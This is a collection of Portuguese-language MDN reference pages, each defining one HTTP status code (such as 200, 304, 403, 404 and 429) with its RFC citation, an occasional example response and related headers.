{"title":"300 Multiple Choices - HTTP","text":"300 Multiple Choices\n====================\n\nO código de resposta HTTP do status de redirecionamento **`300 Multiple Choices`** indica que a requisição tem uma ou mais possíveis respostas. O agente de usuário ou o usuário devem escolher uma delas. Como não há forma padrão de se escolher uma das respostas, esse código de resposta é raramente usado.\n\nSe o servidor tem uma escolha de preferência, ele deve gerar um cabeçalho `Localização`.\n\nStatus\n------\n```\n\n300 Multiple Choices\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.4.1: 300 Multiple Choices | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* `301` `Moved Permanently`\n* `302` `Found`, o redirecionamento temporário\n* `308` `Permanent Redirect`"}
{"title":"505 HTTP Version Not Supported - HTTP","text":"505 HTTP Version Not Supported\n==============================\n\nO código de resposta de status HTTP **`505 HTTP Version Not Supported`** indica que a versão HTTP utilizada na requisição não é suportada pelo servidor.\n\nStatus\n------\n```\n\n505 HTTP Version Not Supported\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.6.6: 505 HTTP Version Not Supported | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* `Upgrade` (en-US)"}
{"title":"202 Accepted - HTTP","text":"202 Accepted\n============\n\nO código resposta HyperText Transfer Protocol (HTTP) **`202 Accepted`** indica que a requisição foi recebida, mas não pode atuar ainda. Ela é sem compromisso, significando que não há maneira de o HTTP enviar posteriormente uma resposta assíncrona indicando a saída do processamento da requisição. A intenção desta resposta é para os casos onde outro processo ou, ainda, servidor lida com a requisição ou para processamentos *batch.*\n\nStatus\n------\n```\n\n202 Accepted\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.3.3: 202 Accepted | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* `Accept`"}
{"title":"304 Not Modified - HTTP","text":"304 Not Modified\n================\n\nO código de resposta HTTP de redirecionamento do cliente **`304`** **`Not Modified`** indica que não há necessidade de retransmitir a requisição de recursos. É um redirecionamento implícito para o recurso em cache. Isto ocorre quando o método de requisição é safe, assim como uma requisição `GET` ou `HEAD`, ou quando a requisição é condicional e usa um cabeçalho `If-None-Match` ou `If-Modified-Since`.\n\nA resposta equivalente `200` `OK` teria incluso os cabeçalhos `Cache-Control`, `Content-Location`, `Date`, `ETag`, `Expires`, e `Vary`.\n\n**Nota:** Vários painéis de rede de ferramentas de desenvolvedor dos navegadores criam requisições irrelevantes direcionando para respostas `304`, logo este acesso ao cache local é visível aos desenvolvedores.\n\nStatus\n------\n```\n\n304 Not Modified\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7232, sessão 4.1: 304 Not Modified | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de Compatibilidade\n------------------------\n\n* O comportamento do navegador difere se em conexões persistentes a resposta erroneamente incluir um corpo. Leia 204 No Content para mais detalhes.\nVeja também\n-----------\n\n* `If-Modified-Since`\n* `If-None-Match`"}
{"title":"403 Forbidden - HTTP","text":"403 Forbidden\n=============\n\nO código de resposta de status de erro do cliente HTTP **`403 Forbidden`** indica que o servidor entendeu o pedido, mas se recusa a autorizá-lo.\n\nEsse status é semelhante ao `401` , mas neste caso, a re-autenticação não fará diferença. O acesso é permanentemente proibido e vinculado à lógica da aplicação (como uma senha incorreta).\n\nStatus\n------\n```\n\n403 Forbidden\n```\n\nExemplo de resposta\n-------------------\n```\n\nHTTP/1.1 403 Forbidden\nDate: Wed, 21 Oct 2015 07:28:00 GMT\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.3: 403 Proibido | HTTP/1.1: Semântica e Conteúdo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `401`"}
{"title":"511 Network Authentication Required - HTTP","text":"511 Network Authentication Required\n===================================\n\nO código de erro HTTP para o cliente **`511 Network Authentication Required`** indica que o cliente precisa realizar uma autenticação para utilizar a rede.\n\nEsse status não é gerado pelos servidores de origem, mas pela interceptação de proxies que controlam o acesso à rede.\n\nÀs vezes, as operadoras de rede exigem alguma autenticação, aceitação de termos ou outra interação do usuário antes de conceder acesso (por exemplo, em um cyber café ou em um aeroporto). Eles geralmente identificam clientes que não o fizeram usando seus endereços de Controle de Acesso à Mídia(MAC)\n\nStatus\n------\n```\n\n511 Network Authentication Required\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 6585, sessão 6: 511 Network Authentication Required | Códigos adicionais de estado HTTP |\n\nVeja também\n-----------\n\n* Proxy server"}
{"title":"308 Permanent Redirect - HTTP","text":"308 Permanent Redirect\n======================\n\nO código de resposta do status de redirecionamento **`308 Redirecionamento Permanente`** do Protocolo de Transferência de Hipertexto (HTTP) indica que o recurso requisitado foi movido definitivamente para o URL dado pelo cabeçalho `Localização`. O navegador redireciona para essa página e o motor de busca atualiza os seus links para o recurso (na linguagem 'SEO', é dito que o \"suco do link\" ('link-juice') é enviado à nova URL).\n\nO método de requisição e o corpo não será alterado, onde talvez o status `301` seja modificado incorretamente para o método `GET`.\n\n> \n> \\*\\*Nota:\\*\\*Algumas aplicações Web podem usar o `308 Permanent Redirect` de forma não convencional e para outros propósitos. Por exemplo, Google Drive usa a resposta `308 Resume Incomplete` para indicar ao cliente quando um upload incompleto parou.[1]\n> \n> \n> \n\nStatus\n------\n```\n\n308 Redirecionamento Permanente\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7538, sessão 3: 308 Permanent Redirect | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `301 Moved Permanently`\n* `302 Found`, o redirecionamento temporário"}
{"title":"100 Continue - HTTP","text":"100 Continue\n============\n\nO Status HTTP **`100 Continue`** indica que até o momento tudo está OK e que o cliente pode continuar com a requisição ou ignorar caso já tenha terminado.\n\nPara ter uma verificação pelo servidor o cliente deve enviar o header `Expect`: `100-continue` na requisição inicial e receber o status `100 Continue` antes de enviar o body da requisição.\n\nStatus\n------\n```\n\n100 Continue\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.2.1: 100 Continue | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Expect`\n* `417`"}
{"title":"417 Expectation Failed - HTTP","text":"417 Expectation Failed\n======================\n\nO codigo de erro de cliente HTTP **`417 Expectation Failed`** indica que a expectativa enviada no cabeçalho da requisição `Expect` não foi suprida.\n\nVeja o cabeçalho `Expect` para mais detalhes.\n\nEstado\n------\n```\n\n417 Expectation Failed\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.14: 417 Expectation Failed | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVer também\n----------\n\n* `Expect`"}
{"title":"426 Upgrade Required - HTTP","text":"426 Upgrade Required\n====================\n\nO status HTTP **`426 Upgrade Required`** indica que o servidor recusa o processamento da requisição usando o protocolo atual mas poderá ser processado caso o cliente atualize para um protocolo diferente.\n\nO servidor envia uma header `Upgrade` (en-US) com esta resposta para indicar qual o protocolo necessário.\n\nStatus\n------\n```\n\n426 Upgrade Required\n```\n\nExemplos\n--------\n```\n\nHTTP/1.1 426 Upgrade Required\nUpgrade: HTTP/2.0\nConnection: Upgrade\nContent-Length: 53\nContent-Type: text/plain\n\nThis service requires use of the HTTP/2.0 protocol\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.15: 426 Upgrade Required | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVer também\n----------\n\n* `Upgrade` (en-US)\n* `101` `Switching Protocol`"}
{"title":"422 Unprocessable Entity - HTTP","text":"422 Unprocessable Entity\n========================\n\nO codigo de resposta HTTP **`422 Unprocessable Entity`** indica que o servidor entende o tipo de conteúdo da entidade da requisição, e a sintaxe da requisição esta correta, mas não foi possível processar as instruções presentes.\n\n**Aviso:** **Importante**: O cliente não deve repetir esta requisição sem modificações.\n\nStatus\n------\n```\n\n422 Unprocessable Entity\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 4918, sessão 11.2: 422 Unprocessable Entity | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) |"}
{"title":"413 Payload Too Large - HTTP","text":"413 Payload Too Large\n=====================\n\nO código de resposta HTTP **`413 Payload Too Large`** indica que a carga da requisição é mais larga que os limites estabelecidos pelo servidor; o servidor pode encerrar a conexão ou retornar `Retry-After` no campo de cabeçalho.\n\nStatus\n------\n```\n\n413 Payload Too Large\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.5.11: 413 Payload Too Large | Hypertext Transfer Protocol (HTTP/1.1):Semânticas e Conteúdo |\n\nVeja também\n-----------\n\n* `Connection`\n* `Retry-After`"}
{"title":"204 No Content - HTTP","text":"204 No Content\n==============\n\nO código de resposta HTTP de status de sucesso **`204 No Content`** indica que a solicitação foi bem sucedida e o cliente não precisa sair da página atual. Uma resposta `204` é armazenada em cache por padrão. Um cabeçalho `ETag` está incluso na resposta.\n\nO caso de uso comum é retornar `204` como resultado de uma solicitação `PUT`, atualizando um recurso, sem alterar o conteúdo atual da página exibida para o usuário. Se o recurso for criado, `201` `Created` será retornado. Se a página for alterada para a página recém-atualizada, o `200` deve ser usado em vez disso.\n\nStatus\n------\n```\n\n204 No Content\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.3.5: 204 No Content | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas de compatibilidade\n------------------------\n\n* Embora este código de status seja destinado a descrever uma resposta sem corpo, os servidores podem incluir dados erroneamente após os cabeçalhos. O protocolo permite que os agentes do usuário variem em como eles processam essas respostas (a discussão sobre este texto da especificação pode ser encontrada aqui). Isso é observável em conexões persistentes, onde o corpo inválido pode incluir uma resposta distinta a uma solicitação subseqüente.\n O Apple Safari rejeita qualquer desses dados. O Google Chrome e o Microsoft Edge descartam até quatro bytes inválidos que precedem uma resposta válida. O Firefox tolera mais de um kilobyte de dados inválidos que precedem uma resposta válida.\nVeja também\n-----------\n\n* Métodos de requisições HTTP"}
{"title":"503 Service Unavailable - HTTP","text":"503 Service Unavailable\n=======================\n\nO código de resposta de erro de servidor **`503 Service Unavailable`** do HTTP indica que o servidor não está pronto para lidar com a requisição.\n\nCausas comuns são um servidor que está em manutenção ou sobrecarregado. Esta resposta deve ser usada para condições temporárias, e o cabeçalho HTTP `Retry-After` deve, se possível, conter o tempo estimado para restabelecimento do serviço.\n\n**Nota:** Juntamente com esta resposta deve ser enviada uma página de fácil compreensão para explicar o problema.\n\nOs cabeçalhos relativos ao armazenamento em cache que são enviados juntamente com esta resposta devem ser atendidos, pois um status 503 geralmente é uma condição temporária e tal resposta não deve ser armazenada em cache.\n\nStatus\n------\n```\n\n503 Service Unavailable\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.6.4: 503 Service Unavailable | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação mostrada acima está sendo servida do MDN's GitHub (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `Retry-After`\n* 503 Service Unavailable"}
{"title":"405 Method Not Allowed - HTTP","text":"405 Method Not Allowed\n======================\n\nEste status de resposta indica que o verbo HTTP utilizado não é suportado, por exemplo: a requisição ocorre por meio de um get, porém o único método disponível é o post.Curiosidade: Existem um método chamado OPTIONS que retorna todos os verbos suportados naquela requisiçãoobs: ele também pode não ser permitido\n\nStatus\n------\n```\n\n405 Method Not Allowed\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.5.5: 405 Method Not Allowed | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nSee also\n--------\n\n* `Allow`"}
{"title":"302 Found - HTTP","text":"302 Found\n=========\n\nO código de estado HyperText Transfer Protocol (HTTP) **`302 Found`** indica que o recurso foi temporariamente movido para a URL informada pelo cabeçalho `Localização`. Os navegadores redirecionar para essa página porém os motores de busca não atualizam o link inicial.\n\nMesmo que a requisição requer que o método (e o corpo) não sejam alterados quando o redirecionamento é feito, nem todos os user-agent entram em conformidade - ainda é comum encontrar softwares com bugs neste quesito. Por isso, é recomendado habilitar o código `302` somente em resposta aos métodos `GET` ou `HEAD` e utilizar o método `307 Temporary Redirect` em outros casos, já que a troca de método é expressamente proibida nesse caso.\n\nEm casos onde você deseja que o método utilizado altere para `GET`, utilize `303 See Other`. Isto é útil quando você deseja dar uma resposta a um método `PUT` que não seja um recurso, mas uma mensagem de confirmação, como por exemplo: 'você enviou XYZ com sucesso'.\n\nStatus\n------\n```\n\n302 Encontrado\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.4.3: 302 Found | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `307 Temporary Redirect`, o equivalente a esse código de estado quando o método utilizado nunca é alterado.\n* `303 See Other`, um redirecionamento temporário que altera o método utilizado para `GET`.\n* `301 Moved Permanently`, o redirecionamento permanente."}
{"title":"428 Precondition Required - HTTP","text":"428 Precondition Required\n=========================\n\nO codigo de resposta HTTP **`428 Precondition Required`** indica que o servidor precisa que a requisição seja condicional (en-US).\n\nNormalmente, isto significa que um cabeçalho pré-requisito, como o `If-Match`, **está faltando**.\n\nQuando o cabeçalho pré-requisito **não é o mesmo** esperado pelo servidor, a resposta deve ser `412` `Precondition Failed`.\n\nStatus\n------\n```\n\n428 Precondition Required\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 6585, sessão 3: 428 Precondition Required | Additional HTTP Status Codes |\n\nVer também\n----------\n\n* HTTP conditional requests (en-US)\n* `If-Match`\n* `412`"}
{"title":"507 Insufficient Storage - HTTP","text":"507 Insufficient Storage\n========================\n\nO código de resposta de status HTTP **`507 Insufficient Storage`** pode ser usado no contexto do protocolo Web Distributed Authoring and Versioning (WebDAV) (veja RFC 4918).\n\nIsso indica que o método não pode ser executado porque o servidor não pode salvar a representação necessária para completar a requisição com sucesso.\n\nStatus\n------\n```\n\n507 Insufficient Storage\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 4918, sessão 11.5: 507 Insufficient Storage | Web Distributed Authoring and Versioning |"}
{"title":"200 OK - HTTP","text":"200 OK\n======\n\nO código HTTP **`200 OK`** é a resposta de status de sucesso que indica que a requisição foi bem sucedida. Uma resposta 200 é cacheável por padrão.\n\nO significado de sucesso depende do método de requisição HTTP:\n\n* `GET`: O recurso foi carregado e transmitido no corpo da mensagem.\n* `HEAD`: Os cabeçalhos da entidade estão no corpo da mensagem.\n* `POST`: O recurso descrevendo o resultado da ação é transmitido no corpo da mensagem.\n* `TRACE`: O corpo da mensagem contém a mensagem da requisição tal qual foi recebida pelo servidor.\n\nO resultado de sucesso de um `PUT` ou `DELETE` geralmente não são `200 OK`, e sim `204` `No Content` (ou `201` `Created` quando o recurso é carregado pela primeira vez).\n\nStatus\n------\n```\n\n200 OK\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.3.1: 200 OK | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP request methods"}
{"title":"401 Unauthorized - HTTP","text":"401 Unauthorized\n================\n\nO código de resposta de status de erro do cliente HTTP **`401 Unauthorized`** indica que a solicitação não foi aplicada porque não possui credenciais de autenticação válidas para o recurso de destino.\n\nEsse status é enviado com um cabeçalho `WWW-Authenticate` que contém informações sobre como autorizar corretamente.\n\nEsse status é semelhante a `403`, mas neste caso, a autenticação é possível.\n\nStatus\n------\n```\n\n401 Unauthorized\n```\n\nExemplo de resposta\n-------------------\n```\n\nHTTP/1.1 401 Não autorizado\nDate: Wed, 21 Oct 2015 07:28:00 GMT\nWWW-Authenticate: Basic realm=\"Acesso intermediário ao site\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7235, sessão 3.1: 401 Não autorizado | HTTP/1.1: Autenticação |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTTP authentication\n* `WWW-Authenticate`\n* `Authorization`\n* `Proxy-Authorization`\n* `Proxy-Authenticate`\n* `403`, `407`"}
{"title":"415 Unsupported Media Type - HTTP","text":"415 Unsupported Media Type\n==========================\n\nO erro HTTP **`415 Unsupported Media Type`** do cliente indica que o servidor se recusou a aceitar a requisição porque o formato do payload não é um formato suportado.\n\nO problema do formato por ter ocorrido pelos valores indicados no `Content-Type` ou `Content-Encoding`, ou pelo resultado da inspeção do dado em si.\n\nStatus\n------\n```\n\n415 Unsupported Media Type\n```\n\nEspecificações\n--------------\n\n| Especificações | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.13: 415 Unsupported Media Type | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* `Content-Type`\n* `Content-Encoding`\n* `Accept`"}
{"title":"409 Conflict - HTTP","text":"409 Conflict\n============\n\nO status de resposta **`409 Conflict`** indica que a solicitação atual conflitou com o recurso que está no servidor.\n\nConflitos são mais frequentes quando usado o método `PUT`. Por exemplo, você pode receber uma resposta 409 quando fizer upload de um arquivo que é mais antigo do que já existe no servidor, resultando em conflito de versão.\n\nStatus\n------\n```\n\n409 Conflito\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.8: 409 Conflict | Protocolo de Transferência de Hypertexto (HTTP/1.1): Semântica e Conteúdo |\n\nVeja também\n-----------\n\n* `PUT`"}
{"title":"411 Length Required - HTTP","text":"411 Length Required\n===================\n\nO código de resposta **`411 Length Required`** de erro de cliente do Protocolo de Transferência de HyperTexto (HTTP) indica que o servidor se nega a aceitar a requisição sem um cabeçalho `Content-Length` definido.\n\n> \n> \\*\\*Nota:\\*\\*pela especificação, quando envia dados em uma série de blocos, o cabeçalho `Content-Length` é omitido e no início de cada bloco você precisa adicionar o tamanho do bloco corrente no formato hexadecimal. Veja `Transfer-Encoding` para mais detalhes.\n> \n> \n> \n\nStatus\n------\n```\n\n411 Length Required\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.5.10: 411 Length Required | Protocolo de transferência de Hipertexto (HTTP/1.1): Semântica e Conteúdo |\n\nSee also\n--------\n\n* `Content-Length`\n* `Transfer-Encoding`"}
{"title":"103 Early Hints - HTTP","text":"103 Early Hints\n===============\n\nO código de informação de status de resposta HTTP **`103 Early Hints`** é destinado principalmente a ser usado com o cabeçalho `Link` para permitir ao agente do usuário começar pré-carregamento de recursos enquanto o servidor ainda está preparando uma resposta.\n\nSintaxe\n-------\n```\n\n103 Early Hints\n```\n\nEspecificações\n--------------\n\n| Especificação | Status | Comentários |\n| --- | --- | --- |\n| RFC 8297: 103 Early Hints | IETF RFC | Definição inicial |\n\nComptabilidade de navegador\n---------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Link`"}
{"title":"414 URI Too Long - HTTP","text":"414 URI Too Long\n================\n\nO código de resposta **`414 URI Too Long`** indica que o tamanho da URI requisitada pelo cliente é maior do que o tamanho que o servidor aceita interpretar.\n\nExistem algumas raras condições em que isso pode ocorrer:\n\n* quando um cliente converteu de forma imprópria uma requisição `POST` para uma requisição `GET` com uma sequência de informações muito grande,\n* quando o cliente caiu em um loop de redirecionamentos (por exemplo, um redirecionamento de uma URI prefixada que aponta para um sufixo de si mesmo),\n* ou quando o servidor está sob ataque por um cliente tentando explorar potenciais falhas de segurança.\nStatus\n------\n```\n\n414 URI Too Long\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.12: 414 URI Too Long | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja também\n-----------\n\n* URI"}
{"title":"425 Too Early - HTTP","text":"425 Too Early\n=============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO status HTTP **`425 Too Early`** indica que o servidor não quer correr o risco de processar uma requisição que pode ser repetida, o que cria um potencial risco para ataques de repetição.\n\nStatus\n------\n```\n\n425 Too Early\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 8470, sessão 5.2: 425: Early Data | Using Early Data in HTTP |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"408 Request Timeout - HTTP","text":"408 Request Timeout\n===================\n\n`A resposta 408 Request Timeout` significa que o servidor irá encerrar essa conexão em desuso. É enviado a uma conexão parada por alguns servidores, *mesmo sem nenhuma requisição feita anteriormente pelo cliente*.\n\nO servidor deve enviar no cabeçalho de resposta \"close\" `Connection` já que `408` implica que o servidor decidiu encerrar a conexão ao invés de continuar aguardando.\n\nEssa resposta está sendo mais usada desde que alguns browsers como Chrome, Firefox 27+, e IE9, usam o mecanismo \"HTTP pre-connection\" para acelerar a navegação.\n\n> \n> \\*\\*Nota:\\*\\*alguns servidores simplesmente encerram a conexão sem enviar esssa mensagem.\n> \n> \n> \n\nStatus\n------\n```\n\n408 Request Timeout\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.7: 408 Request Timeout | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nVeja Também\n-----------\n\n* `Connection`\n* `X-DNS-Prefetch-Control`"}
{"title":"410 Gone - HTTP","text":"410 Gone\n========\n\nO código de resposta HTTP **`410 Gone`** de erro do cliente indica que o acesso ao recurso não está mais disponível no servidor de origem, e que esta condição tende a ser permanente.\n\nSe você não sabe se a ausência do recurso é temporária ou permanente, o código de status `404` deverá ser utilizado.\n\n> \n> \\*\\*Nota:\\*\\*Uma resposta 410 response é armazenada em cache por default.\n> \n> \n> \n\nStatus\n------\n```\n\n410 Gone\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.9: 410 Gone | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação mostrada abaixo está sendo servida do MDN's GitHub (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `404`"}
{"title":"205 Reset Content - HTTP","text":"205 Reset Content\n=================\n\nO código de estado HTTP **`205 Reset Content`** informa ao cliente para reconfigurar a visualização do documento, para, por exemplo, limpar o conteúdo de um formulário, redefinir um estado da tela ou atualizar a interface do usuário.\n\nStatus\n------\n```\n\n205 Reset Content\n```\n\nSpecifications\n--------------\n\n| Specification | Title |\n| --- | --- |\n| RFC 7231, sessão 6.3.6: 205 Reset Content | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibility Notes\n-------------------\n\n* O comportamento do Browser é diferente se a resposta de forma errada incluir um Body nas conexões persistentes, veja 204 No Content para mais detalhes.\nSee also\n--------\n\n* `204` No Content"}
{"title":"502 Bad Gateway - HTTP","text":"502 Bad Gateway\n===============\n\nO código de erro HTTP **`502 Bad Gateway`** retornado pelo servidor indica que ele, enquanto atuando como um servidor intermediário (*gateway* ou *proxy*), recebeu uma resposta inválida do servidor para o qual a requisição foi encaminhada (*upstream server*).\n\n**Nota:** Um *Gateway* pode se referir a coisas diferentes na rede e um erro 502 geralmente não é algo que você possa corrigir, mas requer uma correção por parte do servidor web ou dos proxies através dos quais você está tentando obter acesso.\n\nStatus\n------\n```\n\n502 Bad Gateway\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.6.3: 502 Bad Gateway | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nAs informações mostradas acima foram extraídas do GitHub do MDN (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `504`"}
{"title":"404 Not Found - HTTP","text":"404 Not Found\n=============\n\nA resposta de erro **`404 Not Found`** indica que o servidor não conseguiu encontrar o recurso solicitado. Normalmente, links que levam para uma página 404 estão quebrados ou desativados e podem estar sujeitos a link rot.\n\nUm código 404 não indica se o recurso está indisponível temporariamente ou se o recurso foi permanentemente removido. Mas, se esse for o caso, o ideal é utilizar o código `410` (Gone).\n\nStatus\n------\n```\n\n404 Not Found\n```\n\nPáginas de erro personalizadas\n------------------------------\n\nVários sites customizam o design de uma página 404 para facilitar a usabilidade e ajudá-lo em o que fazer em seguida. Servidores apache podem ser configurados usando um arquivo `.htaccess` e um pequeno código como o seguinte.\n\n\n```bash\nErrorDocument 404 /notfound.html\n```\n\n\nPara um exemplo de uma página 404 personalizada, veja MDN's 404 page.\n\n**Nota:** Usar um design personalizado é uma boa ideia, se usado em moderação. Sinta-se livre para fazer a sua página 404 divertida, mas tome cuidado para não confundir seus usuários.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.5.4: 404 Not Found | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `410`\n* Wikipedia: HTTP 404"}
{"title":"303 See Other - HTTP","text":"303 See Other\n=============\n\nO código de resposta de status de redirecionamento do HyperText Transfer Protocol (HTTP) **`303 See Other`** indica que o direcionamento não une a um recurso carregado novo, mas a outra página, com uma página de confirmação ou de progresso de carregamento. Este código de resposta normalmente é retornado como resultado de um `PUT` ou `POST`. O método usado para mostrar esta página redirecionada é sempre `GET`.\n\nStatus\n------\n```\n\n303 See Other\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7231, sessão 6.4.4: 303 See Other | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nA informação mostrada abaixo foi retirada do Github da MDN (https://github.com/mdn/browser-compat-data).\n\nVeja também\n-----------\n\n* `302` `Found`, the temporary redirect"}
{"title":"506 Variant Also Negotiates - HTTP","text":"506 Variant Also Negotiates\n===========================\n\nO código de status de resposta HTTP **`506 Variant Also Negotiates`** pode ser dado no contexto de Negociação de Conteúdo Transparente (Transparent Content Negotiation) (veja RFC 2295). Esse protocolo permite ao cliente requerer a melhor variante de um dado recurso, onde um servidor fornece múltiplos variantes.\n\nO código de status **`Variant Also Negotiates`** indica um erro na configuração interna do servidor na qual a variante escolhida é em si configurada para entrar em uma negociação de conteúdo, então não é um *endpoint* de negociação apropriado.\n\nStatus\n------\n```\n\n506 Variant Also Negotiates\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 2295, sessão 8.1: 506 Variant Also Negotiates | Transparent Content Negotiation in HTTP |"}
{"title":"429 Too Many Requests - HTTP","text":"429 Too Many Requests\n=====================\n\nO código de resposta HTTP **`429 Too Many Requests`** indica que o usuário enviou muitos pedidos em um determinado período de tempo.\n\nUm header `Retry-After` pode ser incluído na resposta indicando quanto tempo o usuário deve esperar antes de fazer um novo pedido.\n\nStatus\n------\n```\n\n429 Too Many Requests\n```\n\nExemplo\n-------\n```\n\nHTTP/1.1 429 Too Many Requests\nContent-Type: text/html\nRetry-After: 3600\n```\n\nEspecificações\n--------------\n\n| Especificações | Título |\n| --- | --- |\n| RFC 6585, sessão 4: 429 Too Many Requests | Status HTTP adicionais |\n\nVeja também\n-----------\n\n* `Retry-After`"}
